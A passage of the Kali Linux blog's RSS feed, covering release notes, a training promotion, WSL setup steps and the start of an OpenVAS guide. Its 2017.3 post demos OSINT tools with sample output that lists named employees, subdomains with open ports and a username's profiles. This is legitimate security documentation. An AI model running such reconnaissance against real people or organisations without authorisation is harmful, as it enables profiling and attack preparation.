&lt;li>&lt;strong>&lt;em>Increased Memory Limits&lt;/em>&lt;/strong> - Current (and older) 64-bit processors have a limit of 64 TB of physical address space and 256 TB of virtual address space (VAS), which was sufficient for more than a decade but with some server hardware shipping with 64 TB of memory, the limits have been reached. Fortunately, upcoming processors will enable &lt;a href="https://lwn.net/Articles/717293/">5-level paging&lt;/a>, support for which is included in the 4.14 kernel. In short, this means that these new processors will support 4 PB of physical memory and 128 PB of virtual memory. That&amp;rsquo;s right, &lt;em>petabytes&lt;/em>.&lt;/li>
&lt;/ul>
&lt;h4 id="package-updates">Package Updates&lt;/h4>
&lt;p>In addition to the updated kernel, we have also upgraded a number of packages, including &lt;a href="https://www.kali.org/tools/zaproxy/">zaproxy&lt;/a>, &lt;a href="https://github.com/securesocketfunneling/ssf">secure-socket-funneling&lt;/a>, &lt;a href="https://www.kali.org/tools/pixiewps/">pixiewps&lt;/a>, &lt;a href="https://www.kali.org/tools/seclists/">seclists&lt;/a>, &lt;a href="https://www.kali.org/tools/burpsuite/">burpsuite&lt;/a>, &lt;a href="https://dbeaver.io/">dbeaver&lt;/a>, and &lt;a href="https://www.kali.org/tools/reaver/">reaver&lt;/a>. If you already have a Kali installation, you can easily get the latest version of these tools along with everything else that has been updated:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt update &amp;amp;&amp;amp; apt full-upgrade
&lt;/code>&lt;/pre>
&lt;p>Note that if you haven&amp;rsquo;t updated your Kali installation in some time (tsk2), you will like receive a GPG error about the repository key being expired (ED444FF07D8D0BF6). Fortunately, this issue is quickly resolved by running the following as root:&lt;/p>
&lt;pre>&lt;code class="language-sh">wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add
&lt;/code>&lt;/pre>
&lt;h4 id="hyper-v-updates">Hyper-V Updates&lt;/h4>
&lt;p>For those of you using Hyper-V to run the &lt;a href="https://www.kali.org/get-kali/#kali-vm">Kali virtual machines&lt;/a> provided by OffSec, you will find that the Hyper-V virtual machine is now &lt;a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn282285(v=ws.11)">generation 2&lt;/a>, which means it&amp;rsquo;s now UEFI-based and expanding/shrinking HDD is supported. The Hyper-V &lt;a href="https://docs.microsoft.com/en-us/windows-server/virtualization/hyper-v/supported-debian-virtual-machines-on-hyper-v">integration services&lt;/a> are also included, which supports Dynamic Memory, Network Monitoring/Scaling, and Replication.&lt;/p>
&lt;h3 id="download-kali-linux-20181">Download Kali Linux 2018.1&lt;/h3>
&lt;p>As always, you can download our official ISO images on our &lt;a href="https://www.kali.org/get-kali/">download page&lt;/a>, where you will also find links to the pre-made &lt;a href="https://www.kali.org/get-kali/#kali-vm">virtual machines&lt;/a> and &lt;a href="https://www.kali.org/get-kali/#kali-arm">ARM images&lt;/a> provided by OffSec. If you encounter any bugs with this, or any other, release, please don&amp;rsquo;t suffer in silence and open a report on the &lt;a href="https://bugs.kali.org/main_page.php">Kali Bug Tracker&lt;/a> so we can investigate and fix it.&lt;/p></description></item><item><title>Your Journey Starts Here</title><link>https://www.kali.org/blog/your-kali-training-journey-starts-here/</link><guid isPermaLink="true">https://www.kali.org/blog/your-kali-training-journey-starts-here/</guid><pubDate>Tue, 30 Jan 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/your-kali-training-journey-starts-here/images/kali-training-journey.jpg" type="image/jpg"/><description>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.kali.org/blog/your-kali-training-journey-starts-here/https://player.vimeo.com/video/226942296?dnt=1" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div>
&lt;blockquote>
&lt;p>&lt;strong>&amp;ldquo;Whether you&amp;rsquo;re new to the fight, or a seasoned pro, don&amp;rsquo;t stop training&amp;hellip;&amp;rdquo;&lt;/strong>&lt;/p>
&lt;/blockquote>
&lt;p>This statement, like the video that introduced it, has real punch. We did this on purpose to get you fired up, excited about your training, and to kickstart your journey. If it worked, and you&amp;rsquo;re in the fight, welcome aboard! If you haven&amp;rsquo;t jumped in for whatever reason, we want to introduce you to the plethora of resources we&amp;rsquo;ve made available to help you master Kali Linux, the penetration testing distribution.&lt;/p>
&lt;p>You&amp;rsquo;ve likely heard about the first, official Kali Linux book: Kali Linux Revealed, Mastering The Penetration Testing Distribution available from OffSec Press. Don&amp;rsquo;t worry, this isn&amp;rsquo;t a sales pitch. We&amp;rsquo;ve made the book available for free in both online HTML and PDF versions because we love you. But wait, there&amp;rsquo;s more. We&amp;rsquo;ve also made chapter exercises available online at &lt;a href="https://kali.training">Kali.training&lt;/a> (after free registration) so you can test your knowledge and get some hands-on experience as you work through the book. We&amp;rsquo;ve also created our first Kali Linux certification, the Kali Linux Certified Professional (KLCP), so you can take your training to the next level. This is where some folks get either overwhelmed or confused, so let&amp;rsquo;s talk about what all this is, exactly.&lt;/p>
&lt;h2 id="kali-linux-revealed---whats-that">Kali Linux Revealed - What&amp;rsquo;s That&lt;/h2>
&lt;p>First, let&amp;rsquo;s talk about Kali Linux Revealed. Whether you buy the (fairly-priced) physical book from retailers like &lt;del>Amazon&lt;/del> , download the free PDF, or follow along with the &lt;a href="https://kali.training/">online version of the book&lt;/a>, you&amp;rsquo;re getting exactly the same content. There is no difference. So why are we selling a book and giving it away? The fact is, we&amp;rsquo;re not trying to make a business by selling books. We wrote the book to provide an official manual for Kali Linux, to provide a body of knowledge for the KLCP, and to improve the knowledge base of the Kali community.&lt;/p>
&lt;p>The follow-on exercises at &lt;a href="https://kali.training">Kali.training&lt;/a> help solidify your knowledge and give you practical hands-on experience. All of this will help prepare you for the ultimate test: the KLCP&lt;/p>
&lt;h2 id="klcp">KLCP?&lt;/h2>
&lt;p>So what is the KLCP, exactly? Once you&amp;rsquo;ve studied (and not simply read or skimmed) the book and worked through the exercises, you&amp;rsquo;re probably ready for the KLCP. Consisting of a 90-minute, 80-question multiple choice exam (proctored by &lt;a href="https://web.archive.org/web/20220129202701/https://home.pearsonvue.com/kali">Pearson Vue&lt;/a>), the KLCP is the foundational Kali Linux certification.&lt;/p>
&lt;h2 id="whats-inside">What&amp;rsquo;s Inside&lt;/h2>
&lt;p>All of this is centered around the content in the Kali Linux Revealed print, online, and PDF books, so let&amp;rsquo;s dive into what&amp;rsquo;s covered.&lt;/p>
&lt;p>It&amp;rsquo;s been mentioned that we&amp;rsquo;ve provided a resource that&amp;rsquo;s too basic for some and too advanced for others. That&amp;rsquo;s fair because we provide a somewhat gentle introduction for new users, thoroughly cover all Kali Linux features, and then delve into some fairly advanced topics as well. So, yes, it&amp;rsquo;s a fairly broad range.&lt;/p>
&lt;p>To start things off, we discuss the basics of Kali Linux in the first few chapters. In the first chapter, we share the history of Kali Linux, explain the relationship with Debian, talk about Kali features, policies and use cases, and discuss what Kali is best used for. We follow this up in chapter two with details on how to download and verify Kali Linux, how to create a bootable Kali USB, and how to set up a virtual machine. In chapter three, we discuss Linux fundamentals, talk about terminology and basic commands, and touch on system logging and troubleshooting.&lt;/p>
&lt;p>Once you register on Kali.training, you can dive in to end-of-chapter exercises. Working through these exercises, you will:&lt;/p>
&lt;ul>
&lt;li>Set up a new VM&lt;/li>
&lt;li>Boot Kali Live&lt;/li>
&lt;li>Inspect kernel boot options&lt;/li>
&lt;li>Download (and verify) Kali&lt;/li>
&lt;li>Install Kali on USB and VM&lt;/li>
&lt;li>Modify kernel boot parameters&lt;/li>
&lt;li>Practice Linux job control&lt;/li>
&lt;li>Search and manipulate files&lt;/li>
&lt;li>Enumerate and manipulate hardware settings&lt;/li>
&lt;/ul>
&lt;p>This is the turning point of the table of contents, where beginners are starting to get pumped and advanced users have dismissed this as &amp;ldquo;useless beginner stuff&amp;rdquo;. While many are quite happy bouncing around and using the book as a reference, if you&amp;rsquo;re a serious student or a professional seeking to better your skills or nail your KLCP, you should not simply dismiss or skip any of the chapters. There really is a lot of good material for users at every level and anything in the book is fair game for the KLCP.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/your-kali-training-journey-starts-here/images/kali-training-post.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/your-kali-training-journey-starts-here/images/kali-training-post.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="continue-the-journey">Continue The Journey&lt;/h2>
&lt;p>Continuing with our journey, we step into chapter four where we cover installation requirements, show you how to install Kali as a standard install, ARM install, unattended install and as a fully encrypted installation with LVM and LUKS.&lt;/p>
&lt;p>If you&amp;rsquo;ve never strayed from the standard installation path, you&amp;rsquo;re missing out on the power of unattended installation and the ultimate security of encryption with LUKS &amp;ldquo;nuke&amp;rdquo;. You&amp;rsquo;ll get hands-on at Kali.training with a fully encrypted install, an unattended install and a standard as well as a fully customized ARM install on a Raspberry Pi. The final exercise in this chapter has you not only building a &amp;ldquo;Kali Pi&amp;rdquo; but mounting and chrooting the file system to make post-installation changes. This gives you extreme flexibility, takes you off the path of a standard burned-image installation and is especially eye-opening for new users.&lt;/p>
&lt;p>In chapter five, we dive into service and user configuration and management, then follow this up in chapter six with tips on troubleshooting Kali Linux and self-diagnosing and getting help with any aspect of your installation. As we roll into chapter seven, we&amp;rsquo;ll dig into security topics and cover firewall and log configuration and monitoring, package auditing and several host-based intrusion detection tools. While most of this may seem like basic Linux system administration, the fact is that Kali is really a killer secure base OS and each of these skills is important for building a strong foundational knowledge of Kali.&lt;/p>
&lt;p>As you pass through these chapters and tackle the exercises, you will:&lt;/p>
&lt;ul>
&lt;li>Add new user accounts&lt;/li>
&lt;li>Configure network without Network Manager&lt;/li>
&lt;li>Spin up hostapd as WAP&lt;/li>
&lt;li>Configure Apache and PostgreSQL&lt;/li>
&lt;li>Install masscan with a custom web interface&lt;/li>
&lt;li>Create a custom PI access point with hostapd&lt;/li>
&lt;li>Create and test firewall rules&lt;/li>
&lt;li>Learn to detect and prevent password brute forcing&lt;/li>
&lt;li>Install and modify a host-based IDS system&lt;/li>
&lt;/ul>
&lt;p>This is yet another turning point of the book. We&amp;rsquo;ve covered basic Kali installation and use, stepped into administrative roles and gotten even the most basic user up to a decent foundational level of knowledge. Our advanced users may be frustrated, wondering when they get their turn to play. That time is now. The next three chapters are the meat of Kali Linux Revealed. They are the longest and most densely packed chapters in the entire book and each chapter contains a ton of cool stuff that will appeal to even the most advanced user.&lt;/p>
&lt;h2 id="into-the-fray">Into The Fray&lt;/h2>
&lt;p>We jump right into the fray in chapter eight as we examine Debian Package Management. Debian is a robust, mature, operating system that allowed us to take Kali to the next level as a distribution. We gained so many advanced features when we moved to Debian, and in this chapter we start to lay out the foundations of what makes these features possible.&lt;/p>
&lt;p>If you&amp;rsquo;ve done anything with Kali, you&amp;rsquo;ve likely used apt to update your installation. It&amp;rsquo;s easy to just blow off this process, follow the directions, and move on. But what happens behind the scenes with Debian&amp;rsquo;s package management tools is impressive, powerful, and flexible. We go behind-the-scenes and talk about all the components that make this possible. For example, do you understand the difference between dpkg, apt, and apt-get? What about aptitude and synaptic? Each of these utilities has powerful functionality and we get in deep so we can get into some powerful features in the following chapters.&lt;/p>
&lt;p>At the end of chapter eight, you dive into the exercises where you will:&lt;/p>
&lt;ul>
&lt;li>Install bleeding edge software, like the Social Engineering Toolkit (SET)&lt;/li>
&lt;li>Create custom packages, including a custom-built offline installation of Nessus that includes all plugins&lt;/li>
&lt;li>Install and configure packages from foreign architectures&lt;/li>
&lt;li>Install Windows-based programs in Kali Linux&lt;/li>
&lt;/ul>
&lt;p>In chapter nine, we will show you how to modify Kali packages, recompile the Kali kernel, and build custom Kali live ISO images. Custom packages are especially cool, allowing you to create a package, share it, deploy it, and even roll back your changes if you need to.&lt;/p>
&lt;p>As we dive into the exercises, you will:&lt;/p>
&lt;ul>
&lt;li>Build custom Kali live ISO images, like an much-upgraded version of Angela&amp;rsquo;s live USB from Mr. Robot&lt;/li>
&lt;li>Build an unencrypted live Kali USB&lt;/li>
&lt;li>Build an encrypted live Kali USB with LUKS &amp;ldquo;nuke&amp;rdquo; allowing you to obliterate your data with a specific decryption password.&lt;/li>
&lt;li>Fork your own metapackage containing exactly the tools you want to deploy&lt;/li>
&lt;/ul>
&lt;p>As we cruise in to chapter ten, we&amp;rsquo;ll show you how to install Kali Linux over the network, including options for complete unattended installation. We&amp;rsquo;ll also show you how to create a full-featured enterprise installation of Kali that allows you to deploy Kali &amp;ldquo;minions&amp;rdquo; that you can control from a central &amp;ldquo;master&amp;rdquo;. Finally, we will show you how to create a custom package repository that you can use to deploy your own completely customized packages. When you pull together the skills in these final chapters, you will be able to create custom Kali installations with your own package builds and configuration options. You will even have the power to build custom live instances primed to do anything you want after booting. You&amp;rsquo;ll be able to network-install machines with completely unattended installation options, stand up your own package repositories with custom tools for rapid deployment, and monitor, update, and control deployed Kali instances without installing any additional tools on top of Kali.&lt;/p>
&lt;h2 id="take-the-next-step">Take The Next Step&lt;/h2>
&lt;p>At this level, the true power of Kali Linux is revealed and you have truly &amp;ldquo;mastered the penetration testing distribution&amp;rdquo;.&lt;/p>
&lt;p>Kali Linux Revealed, the resources at &lt;a href="https://kali.training/">Kali.training&lt;/a> and the KLCP encompass so much cool stuff, it&amp;rsquo;s pretty hard to summarize, but we hope you&amp;rsquo;ll take the next step in your journey and join us at Kali.training!&lt;/p></description></item><item><title>Kali on the Windows Subsystem for Linux</title><link>https://www.kali.org/blog/kali-on-the-windows-subsystem-for-linux/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-on-the-windows-subsystem-for-linux/</guid><pubDate>Wed, 10 Jan 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-on-the-windows-subsystem-for-linux/images/kali-on-windows-10-kali-post.jpg" type="image/jpg"/><description>&lt;p>&lt;strong>Update&lt;/strong> : &lt;strong>This post is outdated.&lt;/strong> &lt;strong>For a better way of getting Kali Linux on Windows 10, install&lt;/strong> &lt;a href="https://www.kali.org/blog/kali-linux-in-the-windows-app-store/">Kali Linux from the App store&lt;/a>.&lt;/p>
&lt;p>We&amp;rsquo;re always on the prowl for novel environments to run Kali on, and with the introduction of the &lt;a href="https://docs.microsoft.com/en-us/windows/wsl/install-win10">Windows Subsystem for Linux&lt;/a> (WSL) in Windows 10, new and exciting possibilities have surfaced. After all, if the WSL can support Ubuntu, it shouldn&amp;rsquo;t be too hard to incorporate another Debian-like distribution, right? This is especially true with the &lt;a href="https://github.com/RoliSoft/WSL-Distribution-Switcher">&lt;strong>Windows Subsystem for Linux Distribution Switcher&lt;/strong>&lt;/a> utility.&lt;/p>
&lt;h2 id="kali-on--windows-really">Kali on &amp;hellip; Windows? Really?&lt;/h2>
&lt;p>While this setup of Kali on Windows is not optimal due to various environmental restrictions (such as the lack of raw sockets and lack of customised Kali kernel), there are still many situations where having Kali Linux alongside your Windows 10 machine can be beneficial. One example that comes to mind is consolidation of workspaces, especially if Windows is your main working environment. Other useful situations that crossed our minds were standardizing tools and scripts to run across multiple environments, quick porting of Linux penetration testing command line tools to Windows, etc. For example, below is a screenshot of running the Metasploit Framework from Kali Linux, over WSL.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-on-the-windows-subsystem-for-linux/images/Kali_Linux_WSL_msf.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-on-the-windows-subsystem-for-linux/images/Kali_Linux_WSL_msf.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="setting-up-the-environment">Setting up the Environment&lt;/h2>
&lt;p>While the setup is described well over at the WSL Distribution Switcher &lt;a href="https://github.com/RoliSoft/WSL-Distribution-Switcher">README&lt;/a> file, we&amp;rsquo;ve made a quick 4-minute video to walk you through the setup and installation process. For an easier copy / paste operation, these are the basic steps taken:&lt;/p>
&lt;p>1. Update your Windows 10 machine. Open an administrative PowerShell window and install the Windows Subsystem with this one-liner. A reboot will be required once finished:&lt;/p>
&lt;pre>&lt;code class="language-plain">Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
&lt;/code>&lt;/pre>
&lt;p>2. Once rebooted, open a command line shell and run the following commands to install the default Ubuntu environment. This will lay down the foundations for our Kali install:&lt;/p>
&lt;pre>&lt;code class="language-sh">lxrun /install
&lt;/code>&lt;/pre>
&lt;p>3. Setup and install the WSL Switcher, download a Kali base, and extract it to disk:&lt;/p>
&lt;pre>&lt;code class="language-sh">git clone https://github.com/RoliSoft/WSL-Distribution-Switcher.git
cd WSL-Distribution-Switcher
python get-prebuilt.py kalilinux/kali-linux-docker
python install.py rootfs_kalilinux_kali-linux-docker_latest.tar.gz
lxrun /setdefaultuser root
&lt;/code>&lt;/pre>
&lt;p>4. Now that Kali is set up on your Windows 10 machine, you can interact with it by running the &amp;ldquo;bash&amp;rdquo; command:&lt;/p>
&lt;pre>&lt;code class="language-sh">bash
&lt;/code>&lt;/pre>
&lt;p>5. At this point, you&amp;rsquo;re inside Kali and you can use it as you normally do&amp;ndash;install packages, use tools, etc. We strongly recommend first running an update and upgrade:&lt;/p>
&lt;pre>&lt;code class="language-sh">export LANG=C
apt-get update
apt-get dist-upgrade
&lt;/code>&lt;/pre>
&lt;p>Without further ado, here&amp;rsquo;s the video demonstration of the setup described above:&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.kali.org/blog/kali-on-the-windows-subsystem-for-linux/https://player.vimeo.com/video/250475157?dnt=1" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div></description></item><item><title>Kali Linux 2017.3 Release</title><link>https://www.kali.org/blog/kali-linux-2017-3-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2017-3-release/</guid><pubDate>Tue, 21 Nov 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2017-3-release/images/kali-release.jpg" type="image/jpg"/><description>&lt;p>We are pleased to announce the immediate availability of &lt;a href="https://www.kali.org/get-kali/">Kali Linux 2017.3&lt;/a>, which includes all patches, fixes, updates, and improvements since our &lt;a href="https://www.kali.org/blog/kali-linux-2017-2-release/">last release&lt;/a>. In this release, the kernel has been updated to 4.13.10 and it includes some notable improvements:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=eef914a9eb5eb83e60eb498315a491cd1edc13a1">CIFS now uses SMB 3.0 by default&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e08ac99fa2a25626f573cfa377ef3ddedf2cfe8f">EXT4 directories can now contain 2 billion entries instead of the old 10 million limit&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c4d7559159bfe1e3b94df3a657b2cda3a34e218">TLS support is now built into the kernel itself&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>In addition to the new kernel and all of the updates and fixes we pull from Debian, we have also updated our packages for &lt;a href="https://www.kali.org/tools/reaver/">Reaver&lt;/a>, &lt;a href="https://www.kali.org/tools/pixiewps/">PixieWPS&lt;/a>, &lt;a href="https://www.kali.org/tools/burpsuite/">Burp Suite&lt;/a>, &lt;a href="https://www.kali.org/docs/tools/removed-tools/">Cuckoo&lt;/a>, &lt;a href="https://www.kali.org/tools/set/">The Social Engineering Toolkit&lt;/a>, and more. Take a look at the &lt;a href="https://bugs.kali.org/changelog_page.php">Kali Changelog&lt;/a> to see what else has been updated in this release, or read on to see what else is new.&lt;/p>
&lt;h2 id="new-tool-additions">New Tool Additions&lt;/h2>
&lt;p>Since our last release in September, we&amp;rsquo;ve added four new tools to the distribution, most of which focus on the always-lucrative Open-source information gathering. These new tools are not included in the default installation but after an &amp;lsquo;apt update&amp;rsquo;, you can check out and install the ones that interest you. We, of course, think they&amp;rsquo;re all interesting and hope you do as well.&lt;/p>
&lt;h3 id="inspy">InSpy&lt;/h3>
&lt;p>&lt;a href="https://www.kali.org/tools/inspy/">InSpy&lt;/a> is a small but useful utility that performs enumeration on LinkedIn and can find people based on job title, company, or email address:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt -y install inspy
root@kali:~# inspy --empspy /usr/share/inspy/wordlists/title-list-large.txt google
InSpy 2.0.3
2017-11-14 14:04:47 53 Employees identified
2017-11-14 14:04:47 Birkan Cara Product Manager at Google
2017-11-14 14:04:47 Fuller Galipeau Google
2017-11-14 14:04:47 Catalina Alicia Esrat Account Executive at Google
2017-11-14 14:04:47 Coplan Pustell Recruiter at Google
2017-11-14 14:04:47 Kristin Suzanne Lead Recruiter at Google
2017-11-14 14:04:47 Baquero Jahan Executive Director at Google
2017-11-14 14:04:47 Jacquelline Bryan VP, Google and President of Google.org
2017-11-14 14:04:47 Icacan M. de Lange Executive Assistant at Google
...
&lt;/code>&lt;/pre>
&lt;h3 id="cherrytree">CherryTree&lt;/h3>
&lt;p>The oft-requested &lt;a href="https://www.kali.org/tools/cherrytree/">CherryTree&lt;/a> has now been added to Kali for all of your note-taking needs. CherryTree is very easy to use and will be familiar to you if you&amp;rsquo;ve used any of the &amp;ldquo;big-name&amp;rdquo; note organization applications:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt -y install cherrytree
&lt;/code>&lt;/pre>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2017-3-release/images/cherrytree0.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2017-3-release/images/cherrytree0.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="sublist3r">Sublist3r&lt;/h3>
&lt;p>&lt;a href="https://www.kali.org/tools/sublist3r/">Sublist3r&lt;/a> is a great application that enables you to enumerate subdomains across multiple sources at once. It has integrated the venerable SubBrute, allowing you to also brute force subdomains using a wordlist:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt -y install sublist3r
root@kali:~# sublist3r -d google.com -p 80 -e Bing
____ _ _ _ _ _____
/ ___| _ _| |__ | (_)___| |_|___ / _ __
\___ \| | | | '_ \| | / __| __| |_ \| '__|
___) | |_| | |_) | | \__ \ |_ ___) | |
|____/ \__,_|_.__/|_|_|___/\__|____/|_|
# Coded By Ahmed Aboul-Ela - @aboul3la
[-] Enumerating subdomains now for google.com
[-] Searching now in Bing..
[-] Total Unique Subdomains Found: 46
[-] Start port scan now for the following ports: 80
ads.google.com - Found open ports: 80
adwords.google.com - Found open ports: 80
analytics.google.com - Found open ports: 80
accounts.google.com - Found open ports: 80
aboutme.google.com - Found open ports: 80
adssettings.google.com - Found open ports: 80
console.cloud.google.com - Found open ports: 80
...
&lt;/code>&lt;/pre>
&lt;h3 id="osrframework">OSRFramework&lt;/h3>
&lt;p>Another excellent OSINT tool that has been added to the repos is &lt;a href="https://www.kali.org/tools/osrframework/">OSRFramework&lt;/a>, a collection of scripts that can enumerate users, domains, and more across over 200 separate services:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt -y install osrframework
root@kali:~# searchfy.py -q &amp;quot;dookie2000ca&amp;quot;
___ ____ ____ _____ _
/ _ \/ ___|| _ \| ___| __ __ _ _ __ ___ _____ _____ _ __| | __
| | | \___ \| |_) | |_ | '__/ _` | '_ ` _ \ / _ \ \ /\ / / _ \| '__| |/ /
| |_| |___) | _ &amp;lt;| _|| | | (_| | | | | | | __/\ V V / (_) | | | &amp;lt;
\___/|____/|_| \_\_| |_| \__,_|_| |_| |_|\___| \_/\_/ \___/|_| |_|\_
Version: OSRFramework 0.17.2
Created by: Felix Brezo and Yaiza Rubio, (i3visio)
searchfy.py Copyright (C) F. Brezo and Y. Rubio (i3visio) 2014-2017
This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you
are welcome to redistribute it under certain conditions. For additional info,
visit https://www.gnu.org/licenses/agpl-3.0.txt
2017-11-14 14:54:52.535108 Starting search in different platform(s)... Relax!
Press &amp;lt;Ctrl + C&amp;gt; to stop...
2017-11-14 14:55:04.310148 A summary of the results obtained are listed in the following table:
Sheet Name: Profiles recovered (2017-11-14_14h55m).
+---------------------------------+---------------+------------------+
| i3visio_uri | i3visio_alias | i3visio_platform |
+=================================+===============+==================+
| http://github.com/dookie2000ca | dookie2000ca | GitHub |
+---------------------------------+---------------+------------------+
| http://twitter.com/dookie2000ca | dookie2000ca | Twitter |
+---------------------------------+---------------+------------------+
2017-11-14 14:55:04.327954 You can find all the information collected in the following files:
./profiles.csv
2017-11-14 14:55:04.328012 Finishing execution...
Total time used: 0:00:11.792904
Average seconds/query: 11.792904 seconds
Did something go wrong? Is a platform reporting false positives? Do you need to
integrate a new one and you don't know how to start? Then, you can always place
an issue in the GitHub project:
https://github.com/i3visio/osrframework/issues
Note that otherwise, we won't know about it!
&lt;/code>&lt;/pre>
&lt;h2 id="massive-maltego-metamorphosis">Massive Maltego Metamorphosis&lt;/h2>
&lt;p>One of our favourite applications in Kali has always been Maltego, the incredible Open-source information gathering tool from Paterva, and the equally incredible Casefile. These two applications had always been separate entities (get it?) but as of late September, they are now combined into one amalgamated application that still allows you to run Maltego Community Edition and Casefile, but now it also works for those of you with Maltego Classic or Maltego XL licenses. As always, the tools perform wonderfully and look great doing it.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2017-3-release/images/maltego0.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2017-3-release/images/maltego0.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2017-3-release/images/maltego1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2017-3-release/images/maltego1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="get-the-goods">Get the Goods&lt;/h2>
&lt;p>As usual, we have updated our standard ISO images, VMware and VirtualBox virtual machines, ARM images, and cloud instances, all of which can be found via the &lt;a href="https://www.kali.org/get-kali/">Kali Downloads&lt;/a> page.&lt;/p>
&lt;p>If you find any bugs, please open a ticket on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. We keep an eye on social media but there is no substitute for a &lt;a href="https://web.archive.org/web/20210914172345/https://kali.training/topic/filing-a-good-bug-report/">well-written bug report&lt;/a> and many bugs that get reported to us end up getting fixed in Debian, which then benefits all of its &lt;a href="https://wiki.debian.org/Derivatives/Census">derivatives&lt;/a>.&lt;/p></description></item><item><title>Configuring and Tuning OpenVAS in Kali Linux</title><link>https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/</link><guid isPermaLink="true">https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/</guid><pubDate>Wed, 15 Nov 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/configuring-and-tuning-openvas-in-kali-linux/images/tuning-openvas-kali.jpg" type="image/jpg"/><description>&lt;p>Users often request the addition of vulnerability scanners to Kali, most notably the ones that begin with &amp;ldquo;N&amp;rdquo;, but due to licensing constraints, we do not include them in the distribution. Fortunately, Kali includes the very capable &lt;a href="https://www.openvas.org/">OpenVAS&lt;/a>, which is free and Open-source. Although we briefly &lt;a href="https://www.kali.org/blog/openvas-vulnerability-scanning/">covered OpenVAS in the past&lt;/a>, we decided to devote a more thorough post to its setup and how to use it more effectively.&lt;/p>
&lt;p>Vulnerability scanners often have a poor reputation, primarily because their role and purpose is misunderstood. Vulnerability scanners scan for vulnerabilities&amp;ndash;they are not magical exploit machines and should be one of many sources of &lt;a href="https://www.kali.org/tools/kali-meta/#kali-tools-information-gathering">information&lt;/a> used in an assessment. Blindly running a vulnerability scanner against a target will almost certainly end in disappointment and woe, with dozens (or even hundreds) of low-level or uninformative results.&lt;/p>
&lt;h2 id="system-requirements">System Requirements&lt;/h2>
&lt;p>The main complaint we receive about OpenVAS (or any other vulnerability scanner) can be summarized as &amp;ldquo;it&amp;rsquo;s too slow and crashes and doesn&amp;rsquo;t work and it&amp;rsquo;s bad, and you should feel bad&amp;rdquo;. In nearly every case, slowness and/or crashes are due to &lt;em>insufficient system resources&lt;/em>. OpenVAS has tens of thousands of signatures and if you do not give your system enough resources, particularly RAM, you will find yourself in a world of misery. Some commercial vulnerability scanners require a &lt;em>minimum&lt;/em> of 8GB of RAM and recommend even more.&lt;/p>
&lt;p>OpenVAS does not require anywhere near that amount of memory but the more you can provide it, the smoother your scanning system will run. For this post, our Kali virtual machine has &lt;em>3 CPUs and 3GB of RAM&lt;/em>, which is generally sufficient to scan small numbers of hosts at once.&lt;/p>
&lt;h2 id="initial-openvas-setup-in-kali">Initial OpenVAS Setup in Kali&lt;/h2>
&lt;p>OpenVAS has many &lt;a href="https://www.openvas.org/software.html">moving parts&lt;/a> and setting it up manually can sometimes be a challenge. Fortunately, Kali contains an easy-to-use utility called &amp;lsquo;openvas-setup&amp;rsquo; that takes care of setting up OpenVAS, downloading the signatures, and creating a password for the admin user.&lt;/p>
